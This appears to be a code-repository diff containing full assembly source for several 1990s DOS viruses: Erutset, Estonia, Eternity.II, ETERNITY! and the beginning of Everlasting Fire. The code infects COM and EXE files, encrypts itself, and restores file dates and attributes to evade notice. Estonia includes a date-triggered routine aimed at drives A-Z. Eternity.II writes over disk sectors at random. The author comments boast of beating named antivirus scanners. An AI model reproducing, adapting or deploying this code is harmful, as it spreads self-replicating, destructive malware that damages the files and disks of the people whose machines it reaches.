mov cx,t_encr-t_encd ; # of bytes to encrypt
|
||||
call t_encr ; encrypt the 1st layer
|
||||
|
||||
lea si,[bp+d_encd-start+buffer] ; load the source index
|
||||
mov di,si ; load the destination index
|
||||
mov cx,d_encr-d_encd ; # of bytes to encrypt
|
||||
call d_encr ; encrypt the 2nd layer
|
||||
|
||||
lea di,[bp+encd-start+buffer] ; load the destination index
|
||||
mov si,di ; load the source index
|
||||
mov cx,encr-encd ; # of bytes to encrypt
|
||||
call encr ; encrypt the 3rd layer
|
||||
|
||||
mov ah,40h ; write to file
|
||||
mov cx,finished-start ; # of bytes to write
|
||||
lea dx,[bp+buffer] ; write from mem
|
||||
int 21h ; write the bytes now
|
||||
|
||||
close: mov ax,5701h ; set time / date stamps
|
||||
pop cx ; restore the time
|
||||
pop dx ; restore the date
|
||||
int 21h ; time / date is restored
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
pop dx ; for this file name
|
||||
pop cx ; with these attributes
|
||||
int 21h ; attributes are restored
|
||||
|
||||
mov ah,3eh ; close up the file
|
||||
int 21h ; file is closed
|
||||
|
||||
abort: pop bp ; pop original delta offset
|
||||
jmp exit ; point to original ISR
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
saved db 0cdh,20h,0 ; our saved bytes
|
||||
newjump db 0e9h,0,0 ; the soon to be jump
|
||||
pldmsg db '',10,13
|
||||
db ' Infected with :: Erutset :: coded by KilJaeden of the Codebreakers 1998',10,13,'$'
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
pload: mov ah,2ah ; get system time
|
||||
int 21h ; get it now
|
||||
cmp dl,23 ; is it the 23rd?
|
||||
jne endpld ; nope, end the payload
|
||||
mov ah,09h ; print a string
|
||||
lea dx,[bp+pldmsg] ; our message
|
||||
int 21h ; print our message
|
||||
mov ah,00h ; wait for keypress
|
||||
int 16h ; make them see us
|
||||
endpld: ret ; return from call
|
||||
|
||||
; --------------------( End Of 3rd Encryption Blanket )-------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
t_encr: lodsb ; load a byte
|
||||
xor al,0C4h ;-----[1]
|
||||
ror al,4 ;----[2]
|
||||
not al ;---[3]
|
||||
neg al ;--[4]
|
||||
rol al,4 ;-[5]
|
||||
neg al ;--[4]
|
||||
not al ;---[3]
|
||||
ror al,4 ;----[2]
|
||||
xor al,0C4h ;-----[1]
|
||||
stosb ; store a byte
|
||||
loop t_encr ; do all the bytes
|
||||
ret ; return from call
|
||||
|
||||
; --------------------( End Of 2nd Encryption Blanket )-------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
d_encr: lodsb ; load a byte
|
||||
neg al ;---------[1]
|
||||
ror al,4 ;--------[2]
|
||||
not al ;-------[3]
|
||||
neg al ;------[4]
|
||||
rol al,4 ;-----[5]
|
||||
not al ;----[6]
|
||||
ror al,4 ;---[7]
|
||||
neg al ;--[8]
|
||||
xor al,069h ;-[9] encryption/decryption
|
||||
neg al ;--[8]
|
||||
ror al,4 ;---[7]
|
||||
not al ;----[6]
|
||||
rol al,4 ;-----[5]
|
||||
neg al ;------[4]
|
||||
not al ;-------[3]
|
||||
ror al,4 ;--------[2]
|
||||
neg al ;---------[1]
|
||||
stosb ; store the byte
|
||||
loop d_encr ; do all the bytes
|
||||
ret ; return from call
|
||||
|
||||
; --------------------( End Of 1st Encryption Blanket )-------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
encr: lodsb ; load a byte
|
||||
neg al ;---[1]
|
||||
ror al,4 ;--[2]
|
||||
xor al,0C4h ;-[3] encryption/decryption
|
||||
ror al,4 ;--[2]
|
||||
neg al ;---[1]
|
||||
stosb ; store the byte
|
||||
loop encr ; do all the bytes
|
||||
ret ; return from call
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
buffer: ; save our virus in mem
|
||||
finished: ; end of the virus
|
||||
|
||||
once: lea si,[bp+new] ; load the source index
|
||||
lea di,[bp+decr] ; load the destination index
|
||||
movsw ; move two bytes
|
||||
movsb ; move one byte
|
||||
jmp t_encd ; jump to encrypted area
|
||||
new: mov cx,encr-encd ; this replaces the jump
|
||||
|
||||
code ends ; end code segment
|
||||
end blank ; end / where to start
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,209 @@
|
|||
|
||||
; D A R K M A N
|
||||
; Proudly Presents
|
||||
; E S T O N I A
|
||||
|
||||
psp equ 100h
|
||||
virussize equ extracopy - code
|
||||
cryptsize equ extracopy - crypted - 01h
|
||||
dtaoffset equ 02h * virussize + psp
|
||||
filetime equ dtaoffset + 16h
|
||||
filedate equ dtaoffset + 18h
|
||||
filesize equ dtaoffset + 1ah
|
||||
filename equ dtaoffset + 1eh
|
||||
memsize equ dtaoffset + 2bh
|
||||
|
||||
estonia segment
|
||||
assume cs:estonia,ds:estonia,es:estonia
|
||||
org 100h ; Origin of COM-file
|
||||
|
||||
code:
|
||||
call viruscode
|
||||
virusid db 'ES' ; Estonia Scan-ID
|
||||
|
||||
viruscode:
|
||||
pop bp ; Load BP from stack
|
||||
sub bp,offset virusid ; BP = delta offset
|
||||
|
||||
or bp,bp ; BP = 0?
|
||||
je crypted ; Equal? Jump to crypted
|
||||
std ; Set direction flag
|
||||
lea bx,[bp+crypted] ; AX = offset encrypted code
|
||||
mov cx,02h ; Transpose 2 times
|
||||
mov dx,cryptsize ; Decrypt 350 bytes
|
||||
denexttime:
|
||||
push cx ; Save CX at stack
|
||||
mov cx,dx ; CX = size of encrypted code
|
||||
mov di,bx
|
||||
add di,dx ; DI = offset of last encrypted code
|
||||
mov si,di ; SI = offset of last encrypted code
|
||||
lodsb ; Load last plain byte
|
||||
sub [bx],al ; Subtract AL from first encrypt byte
|
||||
denextbyte:
|
||||
lodsw ; Load 2 encrypted bytes
|
||||
sub ah,al ; Subtract AL from AH
|
||||
mov al,ah ; AL = decrypted byte
|
||||
stosb ; Store a decrypted byte
|
||||
inc si ; Increase SI
|
||||
loop denextbyte
|
||||
pop cx ; Load CX from stack
|
||||
loop denexttime
|
||||
crypted:
|
||||
cld ; Clear direction flag
|
||||
mov ah,2ah ; Get system date
|
||||
int 21h ; Do it!
|
||||
cmp dx,091bh ; 27. September?
|
||||
jb dontsink ; Below? Jump to dontsink
|
||||
cmp dx,091ch ; 28. September?
|
||||
ja dontsink ; Above? Jump to dontsink
|
||||
|
||||
xor al,al ; Clear AL
|
||||
mov cx,19h ; Destroy drives A-Z
|
||||
formattrack:
|
||||
push cx ; Save CX at stack
|
||||
mov ah,2 ; Read a track
|
||||
xor cx,cx ; Clear CX
|
||||
xor dh,dh ; Clear DH
|
||||
mov dl,al
|
||||
int 13h ; Do it! (disk)
|
||||
inc al ; Increase AL
|
||||
pop cx ; Load CX from stack
|
||||
loop formattrack
|
||||
|
||||
mov ah,09h ; Standard output string
|
||||
lea dx,message ; DX = offset of message
|
||||
int 21h ; Do it!
|
||||
|
||||
int 20h ; Exit to DOS!
|
||||
dontsink:
|
||||
mov ah,4ah ; Modify memory allocation
|
||||
mov bx,1000h ; The new block size is 65535 bytes
|
||||
int 21h ; Do it!
|
||||
jc virusexit ; Error? Jump to vitusexit
|
||||
|
||||
mov ah,1ah ; Set disk transfer address
|
||||
lea dx,[bp+dtaoffset] ; DX = offset of new DTA
|
||||
int 21h ; Do it!
|
||||
|
||||
mov ah,4eh ; Find first matching file
|
||||
mov cx,22h ; File attribute hidden+archive
|
||||
lea dx,[bp+filespec] ; DX = offset of filespec
|
||||
findnext:
|
||||
int 21h ; Do it!
|
||||
jnc infect ; No error? Jump to infect
|
||||
virusexit:
|
||||
mov ah,1ah ; Set disk transfer address
|
||||
mov dx,80h ; DX = offset of default DTA
|
||||
int 21h ; Do it!
|
||||
|
||||
mov di,100h ; DI = beginning of code
|
||||
lea si,[bp+realcode] ; SI = offset of realcode
|
||||
push di ; Restore Instruction Pointer (IP)
|
||||
movsw ; Move the real code to the beginning
|
||||
movsw ; " " " " " " "
|
||||
movsb ; " " " " " " "
|
||||
ret ; Return!
|
||||
setfileinfo:
|
||||
mov cx,[bp+filetime] ; CX = file time in DTA
|
||||
mov dx,[bp+filedate] ; DX = file date in DTA
|
||||
mov ax,5701h ; Set file data and time
|
||||
int 21h ; Do it!
|
||||
closefile:
|
||||
mov ah,3eh ; Close file
|
||||
int 21h ; Do it!
|
||||
mov ah,4fh ; Find next matching file
|
||||
jmp short findnext
|
||||
infect:
|
||||
mov cx,virussize ; Move 400 bytes
|
||||
lea di,[bp+extracopy] ; DI = offset of extracopy
|
||||
lea si,[bp+code] ; SI = offset of code
|
||||
rep movsb ; Create an extra copy of virus
|
||||
|
||||
mov ax,3d02h ; Open file (read/write)
|
||||
lea dx,[bp+filename] ; DX = offset of filename in DTA
|
||||
int 21h ; Do it!
|
||||
jc closefile ; Error? Jump to closefile
|
||||
xchg ax,bx ; Exchange AX with BX
|
||||
|
||||
mov ax,word ptr [bp+filesize]
|
||||
cmp ax,05h ; AX = 5? (AX < 5)
|
||||
jb closefile ; Less? Jump to closefile
|
||||
cmp ax,(65535-memsize) ; AX = 64432? (AX > 64432)
|
||||
ja closefile ; Greater? Jump to closefile
|
||||
|
||||
sub ax,03h ; AX = offset of virus code
|
||||
mov [bp+offset estoniacode+01h],ax
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
mov cx,05h ; Read 5 bytes
|
||||
lea dx,[bp+virussize+realcode]
|
||||
int 21h ; Do it!
|
||||
|
||||
cmp [bp+virussize+offset realcode+03h],'SE'
|
||||
je closefile ; Infected? Jump to closefile
|
||||
|
||||
lea di,[bp+virussize+cryptvalues]
|
||||
in ax,40h ; AX = port 40h
|
||||
stosw ; Store AX in crypt values
|
||||
in ax,40h ; AX = port 40h
|
||||
stosw ; Store AX in crypt value
|
||||
|
||||
push bx ; Save BX at stack
|
||||
lea bx,[bp+virussize+crypted]
|
||||
mov cx,02h ; Transpose 2 times
|
||||
mov dx,cryptsize ; Encrypt 350 bytes
|
||||
ennexttime:
|
||||
push cx ; Save CX at stack
|
||||
mov cx,dx ; CX = size of plain code
|
||||
mov di,bx ; DI = offset of plain code
|
||||
mov si,bx ; SI = offset of plain code
|
||||
inc di ; Increase DI
|
||||
ennextbyte:
|
||||
lodsw ; Load 2 plain bytes
|
||||
add al,ah ; Add AH to AL
|
||||
stosb ; Store a encrypted byte
|
||||
dec si ; Decrease SI
|
||||
loop ennextbyte
|
||||
add [bx],al ; Add AL to plain byte
|
||||
pop cx ; Load CX from stack
|
||||
loop ennexttime
|
||||
pop bx ; Load BX from stack
|
||||
|
||||
mov ax,4202h ; Move file pointer to the end
|
||||
xor cx,cx ; Clear CX
|
||||
cwd ; Convert word to doubleword
|
||||
int 21h ; Do it!
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
mov cx,virussize ; Write 400 bytes
|
||||
lea dx,[bp+extracopy] ; DX = offset of extracopy
|
||||
int 21h ; Do it!
|
||||
cmp ax,cx ; Disk full?
|
||||
jne infectdone ; Error? Jump to infectdone
|
||||
|
||||
mov ax,4200h ; Move file pointer to the beginning
|
||||
xor cx,cx ; Clear CX
|
||||
cwd ; Convert word to doubleword
|
||||
int 21h ; Do it!
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
mov cx,05h ; Write 5 bytes
|
||||
lea dx,[bp+estoniacode] ; DX = offset of estoniacode
|
||||
int 21h ; Do it!
|
||||
infectdone:
|
||||
jmp setfileinfo
|
||||
|
||||
cryptvalues db 04h dup(?) ; Cryption values
|
||||
estoniacode db 0e8h,00h,00h,'ES' ; New code of infected file
|
||||
realcode db 0cdh,20h ; Real code of infected file
|
||||
db 03h dup(?)
|
||||
filespec db '*.COM',00h ; File specification
|
||||
message db 'Your drives were ' ; This message will be shown the
|
||||
db 'on the Estonia...' ; 27 / 28. September and then the
|
||||
db ' They DIDN''T sur' ; drives (A-Z) bootsector will
|
||||
db 'vive!!!',0dh,0ah ; look like it is being destroyed!!!
|
||||
db '$'
|
||||
extracopy:
|
||||
|
||||
estonia ends
|
||||
end code
|
|
@ -0,0 +1,276 @@
|
|||
; -Eternity.II-
|
||||
; "Created by Immortal Riot's destructive development team"
|
||||
; (c) '94 The Unforgiven/Immortal Riot
|
||||
;
|
||||
; "If this virus survive into eternity, I'll live forever"
|
||||
; or
|
||||
; "Nothing last forever"
|
||||
;
|
||||
; Notes:
|
||||
; F-Prot, Scan, TBAV, Findviru, can't find shits of this virus.
|
||||
;
|
||||
; Disclaimer:
|
||||
; If this virus harms your computer and you kill yourself,
|
||||
; I'll not attend on nor pay for your funeral.
|
||||
;
|
||||
; Dedication:
|
||||
; I dedicate this virus to all members of Dia Psalma for all
|
||||
; the ideoligical inspiration I've gained from listening on
|
||||
; their music as well as talking with them.
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
Virus_Lenght EQU Virus_End-Virus_Start
|
||||
org 100
|
||||
|
||||
Virus_Start:
|
||||
xchg ax, ax ; A nop to fill out the virus
|
||||
mov ax,0fa01h ; to be exactly 600 bytes!
|
||||
mov dx,5945h
|
||||
int 16h
|
||||
|
||||
call Get_delta ; Get the delta-offset!
|
||||
Get_delta:
|
||||
pop bp
|
||||
sub bp,Get_Delta-Virus_Start
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
jmp short encryption_start ; then continue..
|
||||
|
||||
write_virus:
|
||||
call encrypt_decrypt ; Encrypt the virus
|
||||
mov ah,40
|
||||
mov cx,Virus_Lenght
|
||||
mov dx,bp
|
||||
int 21
|
||||
call encrypt_decrypt ; Decrypt it again
|
||||
ret
|
||||
|
||||
encryption_value dw 0
|
||||
encrypt_decrypt:
|
||||
lea si,cs:[bp+encryption_start-virus_start]
|
||||
mov cx,(end_of_virus-encryption_start+1)/2
|
||||
mov dx,word ptr cs:[bp+encryption_value-virus_start]
|
||||
|
||||
Xor_LoopY:
|
||||
xor word ptr cs:[si],dx
|
||||
inc si
|
||||
inc si
|
||||
loop Xor_LoopY
|
||||
ret
|
||||
|
||||
encryption_start: ; Heuristic, beat this!
|
||||
mov ax,es
|
||||
add ax,10
|
||||
add ax,cs:[bp+Exe_header-Virus_Start+16]
|
||||
push ax
|
||||
push cs:[bp+Exe_header-Virus_Start+14]
|
||||
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,1a ; Set the DTA
|
||||
lea dx,[bp+Own_dta-virus_start]
|
||||
int 21
|
||||
|
||||
One_Percent:
|
||||
mov ah,2ch ; 1%
|
||||
int 21h
|
||||
cmp dl,0
|
||||
jne get_drive
|
||||
|
||||
Cruel: ; God what I hate that
|
||||
mov al,2h ; eskimoe!
|
||||
mov cx,1
|
||||
lea bx,v_name
|
||||
cwd
|
||||
int 26h
|
||||
|
||||
Get_drive: ; Current drive
|
||||
mov ah,19h
|
||||
int 21h
|
||||
cmp al,2 ; A: or B:?
|
||||
jae get_dir
|
||||
jmp restore_dir ; Yep, then don't infect
|
||||
; other files that run!
|
||||
Get_Dir:
|
||||
mov ah,47
|
||||
xor dl,dl
|
||||
lea si,[bp+dir-virus_start]
|
||||
int 21
|
||||
|
||||
Di_Counter:
|
||||
xor di,di ; Infection counter=0
|
||||
; will be inc after each infection!
|
||||
|
||||
_4EH:
|
||||
mov ah,4e ; Bummer..
|
||||
|
||||
Loop_Files:
|
||||
lea dx,[bp+file_match-virus_start]
|
||||
int 21
|
||||
|
||||
jnc clear_attribs ; We did find a file!
|
||||
; Happy Happy, joy joy!
|
||||
Dot_Dott:
|
||||
lea dx,[bp+dot_dot-virus_start] ; Ah, the same old
|
||||
mov ah,3bh ; dot-dot-routine again!
|
||||
int 21h
|
||||
|
||||
jnc not_root ; No error!
|
||||
jmp no_victim_found ; No more files in ..
|
||||
|
||||
not_root:
|
||||
mov ah,4e ; Find first file
|
||||
jmp short Loop_Files ; in the new directory
|
||||
|
||||
Clear_attribs: ; Clear file-attrib
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
lea dx,[bp+own_dta-virus_start+1eh] ; 1eh=filename in DTA-aera
|
||||
int 21h
|
||||
|
||||
Open_File:
|
||||
mov ax,3d02 ; Open file in read/write mode
|
||||
mov dx,Own_dta-Virus_Start+1e ; Yep, it's still 1eh in DTA!
|
||||
add dx,bp ; bummer!
|
||||
int 21
|
||||
|
||||
jnc read_File ; No error, then read the file!
|
||||
jmp cant_open_file ; Hrm?!
|
||||
|
||||
v_name db "Eternity_II" ; Virus name!
|
||||
|
||||
|
||||
Read_File:
|
||||
xchg ax,bx ;File handle in bx
|
||||
|
||||
mov ah,3f ;Read file - 28 bytes
|
||||
mov cx,1c ;to EXE_header (1ch)
|
||||
lea dx,[bp+exe_header-virus_start]
|
||||
int 21
|
||||
|
||||
jnc no_error ; It worked (duh)
|
||||
jmp read_error ; Hrm?!
|
||||
|
||||
no_error:
|
||||
cmp byte ptr ds:[bp+Exe_header-Virus_Start],'M'
|
||||
jnz no_exe
|
||||
cmp word ptr ds:[bp+Exe_header-Virus_Start+12],'RI'
|
||||
jz infected
|
||||
|
||||
mov al,2 ; File pointer
|
||||
call F_Ptr ; to end of file
|
||||
|
||||
push dx
|
||||
push ax
|
||||
|
||||
Random:
|
||||
mov ah,2ch ; Yah. Nearly polymorfic?
|
||||
int 21h ; Oh well :-).
|
||||
add dl,dh
|
||||
jz random
|
||||
mov word ptr cs:[bp+encryption_value-virus_start],dx
|
||||
|
||||
call write_virus ; Write encrypted copy
|
||||
|
||||
mov al,2 ; File pointer to end of file
|
||||
Call F_Ptr
|
||||
|
||||
mov cx,200 ; bummer..
|
||||
div cx
|
||||
inc ax
|
||||
mov word ptr ds:[Exe_header-Virus_Start+2+bp],dx
|
||||
mov word ptr ds:[Exe_header-Virus_Start+4+bp],ax
|
||||
|
||||
pop ax
|
||||
pop dx
|
||||
|
||||
mov cx,10
|
||||
div cx
|
||||
sub ax,word ptr ds:[Exe_header-Virus_Start+8+bp]
|
||||
mov word ptr ds:[Exe_header-Virus_Start+16+bp],ax
|
||||
mov word ptr ds:[Exe_header-Virus_Start+14+bp],dx
|
||||
mov word ptr ds:[Exe_header-Virus_Start+12+bp],'RI'
|
||||
|
||||
mov al,0 ; File pointer to top of file
|
||||
call F_Ptr
|
||||
|
||||
mov ah,40 ; Write header
|
||||
mov cx,1c
|
||||
lea dx,[bp+exe_header-virus_start]
|
||||
int 21
|
||||
|
||||
jc write_error ; Hrm!?
|
||||
|
||||
no_exe:
|
||||
jmp short Restore_Time_Date
|
||||
|
||||
infected: ; Decrease infection counter
|
||||
dec di ; with one
|
||||
|
||||
Restore_Time_Date: ; Nearly stealth?
|
||||
lea si,[bp+own_dta-virus_start+16h] ; Oh well :-).
|
||||
mov cx,word ptr [si]
|
||||
mov dx,word ptr [si+2]
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
Close_File: ; Close the file
|
||||
mov ah,3e
|
||||
int 21
|
||||
|
||||
Set_Back_Attribs: ; Stealth-bomber!
|
||||
mov ax,4301h
|
||||
xor ch,ch
|
||||
lea bx,[bp+own_dta-virus_start+15h]
|
||||
mov cl,[bx]
|
||||
lea dx,[bp+own_dta-virus_start+1eh]
|
||||
int 21h
|
||||
|
||||
Sick_or_EXE:
|
||||
mov ah,4f ; 4fh=find next file
|
||||
inc di
|
||||
cmp di,3 ; Infected three files?
|
||||
jae finnished_infection ; Yep!
|
||||
jmp Loop_Files ; Nah!
|
||||
|
||||
F_Ptr: ; Since we're using
|
||||
mov ah,42 ; this routine
|
||||
xor cx,cx ; three times,
|
||||
cwd ; calling this
|
||||
int 21 ; will save us
|
||||
ret ; some bytes
|
||||
|
||||
write_error: ; For no use in this virus,
|
||||
read_error: ; but if something screws
|
||||
cant_open_file: ; up, add 09/i21h functions,
|
||||
no_victim_found: ; and test what didn't work.
|
||||
finnished_infection: ;
|
||||
|
||||
Restore_Dir: ; More stealth..
|
||||
lea dx,[bp+dir-virus_start]
|
||||
mov ah,3bh
|
||||
int 21
|
||||
|
||||
quit: ; Return to original program
|
||||
pop ds
|
||||
retf
|
||||
|
||||
groupdb db "(c) '94 The Unforgiven/Immortal Riot" ; That's moi..
|
||||
|
||||
dot_dot db '..',0 ; Another directory
|
||||
file_match db '*.EXE',0 ; Infect ‚m all!
|
||||
|
||||
Exe_header db 16 DUP(0)
|
||||
dw 0fff0
|
||||
db 4 DUP(0)
|
||||
Own_Dta db 02bh DUP(0)
|
||||
dir db 65 dup (?) ; Really really stupid!
|
||||
|
||||
Virus_End EQU $
|
||||
end_of_virus:
|
||||
end Virus_Start
|
|
@ -0,0 +1,251 @@
|
|||
; VirusName : ETERNITY!
|
||||
; Origin : Sweden
|
||||
; Author : The Unforgiven
|
||||
; Date : 15/12/93
|
||||
|
||||
; This is a "mutation", of Tormentor's .EXE lession. It's HIGHLY
|
||||
; modified, and I'd nearly dare to call it a "new" virus. But well,
|
||||
; the infection routine are the same, so I really dunno.
|
||||
|
||||
; Anyway, it's a non-overwriting randomly self encrypted infector
|
||||
; of .EXE programs. It'll infect up to 3 programs each run, and now
|
||||
; it also contain a dot-dot routine for moving directories. This
|
||||
; version have also fixed up the "file attributes", so It will
|
||||
; first clean, then infect, then restore them. It'll after infections
|
||||
; in other the current directory, also return to it's original dir.
|
||||
|
||||
; Since its complex cryptation routine no scanners will find it.
|
||||
; Scan/MSAV/TBAV/FindViru and F-prot can't find shits. TBAVs most
|
||||
; advanced heurtistic scanner will ONLY!, report that the infected
|
||||
; programs got a flexible entry point, ie nothing really! Haha!,
|
||||
; he can suck his dick blue, 9 out of 10 "new" viruses, blah!!!
|
||||
|
||||
; This virus don't have ANY destructive routine at all!, Yes, it's
|
||||
; true! I hope this one will survive into ETERNITY!..Greetings,
|
||||
; must go out to Raver, and Tormentor/DY. Hope you enjoy this code!
|
||||
|
||||
;=============================================================================
|
||||
; **** ETERNITY! ****
|
||||
;=============================================================================
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus.
|
||||
org 100
|
||||
|
||||
Virus_Start: call where_we_are
|
||||
|
||||
where_we_are: pop bp
|
||||
sub bp,where_we_are-Virus_Start
|
||||
|
||||
call encrypt_decrypt
|
||||
jmp encryption_start
|
||||
write_virus:
|
||||
call encrypt_decrypt
|
||||
mov ah,40 ; Write virus to EOF.
|
||||
mov cx,Virus_Lenght
|
||||
mov dx,bp
|
||||
int 21
|
||||
call encrypt_decrypt
|
||||
ret
|
||||
|
||||
encryption_value dw 0
|
||||
encrypt_decrypt:
|
||||
lea si,cs:[bp+encryption_start-virus_start]
|
||||
mov cx,(end_of_virus-encryption_start+1)/2
|
||||
mov dx,word ptr cs:[bp+encryption_value-virus_start]
|
||||
|
||||
again:
|
||||
xor word ptr cs:[si],dx
|
||||
add si,2
|
||||
loop again
|
||||
ret
|
||||
|
||||
|
||||
encryption_start:
|
||||
|
||||
mov ax,es
|
||||
add ax,10
|
||||
add ax,cs:[bp+Exe_header-Virus_Start+16]
|
||||
push ax
|
||||
push cs:[bp+Exe_header-Virus_Start+14]
|
||||
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,1a ;SET-DTA
|
||||
lea dx,[bp+Own_dta-virus_start] ;till own_dta
|
||||
int 21
|
||||
|
||||
;Get starting dir
|
||||
mov ah,47
|
||||
xor dl,dl
|
||||
lea si,[bp+dir-virus_start]
|
||||
int 21
|
||||
|
||||
|
||||
;start finding files
|
||||
xor di,di ;infection count
|
||||
|
||||
mov ah,4e ; We start to look for a *.EXE file
|
||||
look4victim: ;mov dx,offset file_match-Virus_Start
|
||||
;add dx,bp
|
||||
lea dx,[bp+file_match-virus_start]
|
||||
int 21
|
||||
|
||||
jnc clear_attribs
|
||||
|
||||
lea dx,[bp+dot_dot-virus_start]
|
||||
mov ah,3bh
|
||||
int 21h
|
||||
jnc not_root
|
||||
jmp no_victim_found
|
||||
not_root:
|
||||
mov ah,4e
|
||||
jmp look4victim
|
||||
; jmp no_victim_found ; If no *.EXE files was found.
|
||||
|
||||
clear_attribs:
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
lea dx,[bp+own_dta-virus_start+1eh]
|
||||
int 21h
|
||||
|
||||
cont2: mov ax,3d02 ;open file
|
||||
mov dx,Own_dta-Virus_Start+1e
|
||||
add dx,bp
|
||||
int 21
|
||||
|
||||
jnc cont1 ;exit if error
|
||||
jmp cant_open_file
|
||||
|
||||
cont1: xchg ax,bx ;handle in bx
|
||||
|
||||
mov ah,3f ;read file - 28 bytes
|
||||
mov cx,1c ;to EXE_header
|
||||
lea dx,[bp+exe_header-virus_start]
|
||||
int 21
|
||||
|
||||
jnc no_error ;exit if error
|
||||
jmp read_error
|
||||
no_error:
|
||||
cmp byte ptr ds:[bp+Exe_header-Virus_Start],'M'
|
||||
jnz no_exe ; !!! Some EXEs starts with ZM !!!
|
||||
cmp word ptr ds:[bp+Exe_header-Virus_Start+12],'RI'
|
||||
jz infected
|
||||
|
||||
mov ax,4202 ; Go EOF
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21
|
||||
|
||||
push dx
|
||||
push ax
|
||||
|
||||
mov ah,2ch ; this gets a random
|
||||
int 21h ; encryption value..
|
||||
mov word ptr cs:[bp+encryption_value-virus_start],dx
|
||||
|
||||
call write_virus
|
||||
; mov ah,40 ; Write virus to EOF.
|
||||
; mov cx,Virus_Lenght
|
||||
; mov dx,bp
|
||||
; int 21
|
||||
|
||||
mov ax,4202 ; Get NEW filelenght.
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21
|
||||
|
||||
mov cx,200
|
||||
div cx
|
||||
inc ax
|
||||
mov word ptr ds:[Exe_header-Virus_Start+2+bp],dx
|
||||
mov word ptr ds:[Exe_header-Virus_Start+4+bp],ax
|
||||
|
||||
pop ax
|
||||
pop dx
|
||||
|
||||
mov cx,10
|
||||
div cx
|
||||
sub ax,word ptr ds:[Exe_header-Virus_Start+8+bp]
|
||||
mov word ptr ds:[Exe_header-Virus_Start+16+bp],ax
|
||||
mov word ptr ds:[Exe_header-Virus_Start+14+bp],dx
|
||||
|
||||
mov word ptr ds:[Exe_header-Virus_Start+12+bp],'RI'
|
||||
|
||||
mov ax,4200 ; Position file-pointer to BOF
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21
|
||||
|
||||
mov ah,40 ; Write header
|
||||
mov cx,1c
|
||||
; mov dx,offset Exe_header-Virus_Start
|
||||
; add dx,bp
|
||||
lea dx,[bp+exe_header-virus_start]
|
||||
int 21
|
||||
|
||||
jc write_error
|
||||
|
||||
no_exe:
|
||||
jmp close_it ;
|
||||
infected:
|
||||
dec di
|
||||
close_it:
|
||||
|
||||
;restore date
|
||||
lea si,[bp+own_dta-virus_start+16h]
|
||||
mov cx,word ptr [si]
|
||||
mov dx,word ptr [si+2]
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3e ;close file
|
||||
int 21
|
||||
|
||||
|
||||
; file attrib
|
||||
mov ax,4301h
|
||||
xor ch,ch
|
||||
lea bx,[bp+own_dta-virus_start+15h]
|
||||
mov cl,[bx]
|
||||
lea dx,[bp+own_dta-virus_start+1eh]
|
||||
int 21h
|
||||
|
||||
Sick_or_EXE: mov ah,4f ;find next in dir until all is found
|
||||
inc di
|
||||
cmp di,3
|
||||
jae finnished_infection
|
||||
jmp look4victim
|
||||
|
||||
write_error: ; Here you can test whats went wrong.
|
||||
read_error: ; This is just for debugging purpose.
|
||||
cant_open_file: ; These entries are equal to eachother
|
||||
no_victim_found: ; but could be changed if you need to test something.
|
||||
finnished_infection:
|
||||
|
||||
;restore dir
|
||||
lea dx,[bp+dir-virus_start]
|
||||
mov ah,03bh
|
||||
int 21
|
||||
|
||||
quit:
|
||||
pop ds
|
||||
retf
|
||||
|
||||
note db "[ETERNITY!] (c) '93 The Unforgiven/Immortal Riot "
|
||||
dot_dot db '..',0
|
||||
file_match db '*.EXE',0 ; Files to infect.
|
||||
Exe_header db 16 DUP(0)
|
||||
dw 0fff0 ; Just for this com file.
|
||||
db 4 DUP(0)
|
||||
Own_Dta db 02bh DUP(0)
|
||||
dir db 65 dup (?)
|
||||
|
||||
Virus_End EQU $
|
||||
end_of_virus:
|
||||
end Virus_Start
|
|
@ -0,0 +1,231 @@
|
|||
;
|
||||
; Everlasting Fire Virus by John Tardy
|
||||
;
|
||||
|
||||
Org 100h
|
||||
|
||||
Jump: Jmp Virus
|
||||
|
||||
Decr:
|
||||
Instr: db 'Generation'
|
||||
Loopje DB 0e2h
|
||||
db 0fah
|
||||
DecrLen Equ $-Decr
|
||||
Crypt:
|
||||
Virus: Push Ax
|
||||
Call GetOfs
|
||||
GetOfs: Pop Ax
|
||||
Sub Ax,GetOfs
|
||||
Mov Bp,Ax
|
||||
|
||||
Lea Si,OrgPrg[BP]
|
||||
Mov Di,100h
|
||||
Movsw
|
||||
Movsb
|
||||
|
||||
Mov Ah,1ah
|
||||
Mov Dx,0f900h
|
||||
Int 21h
|
||||
|
||||
Mov Ah,4eh
|
||||
Search: Lea Dx,FileSpec[BP]
|
||||
Xor Cx,Cx
|
||||
Int 21h
|
||||
Jnc Found
|
||||
|
||||
Ready: Mov Ah,1ah
|
||||
Mov Dx,80h
|
||||
Int 21h
|
||||
|
||||
Mov Bx,100h
|
